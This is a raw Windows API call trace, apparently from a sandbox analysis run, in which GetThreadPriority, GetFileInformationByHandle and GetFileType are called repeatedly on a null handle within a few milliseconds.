GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.710] GetFileType (hFile=0x0) returned 0x0 [0118.710] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.710] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.711] GetFileType (hFile=0x0) returned 0x0 [0118.711] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.711] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.712] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.712] GetFileType (hFile=0x0) returned 0x0 [0118.712] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.713] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.713] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.713] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.714] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.714] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.714] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.715] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.715] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.715] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.715] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.715] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.715] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.715] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.715] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.715] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.715] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.715] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.715] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.715] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.715] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.715] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.715] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.715] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.715] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.715] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.715] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.715] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.715] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.715] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.715] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.715] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.715] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.715] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.715] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.715] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.715] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.715] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.715] GetFileType (hFile=0x0) returned 0x0 [0118.715] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 [0118.716] GetThreadPriority (hThread=0x0) returned 2147483647 [0118.716] GetFileInformationByHandle (in: hFile=0x0, lpFileInformation=0x19fe9c | out: lpFileInformation=0x19fe9c) returned 0 [0118.716] GetFileType (hFile=0x0) returned 0x0 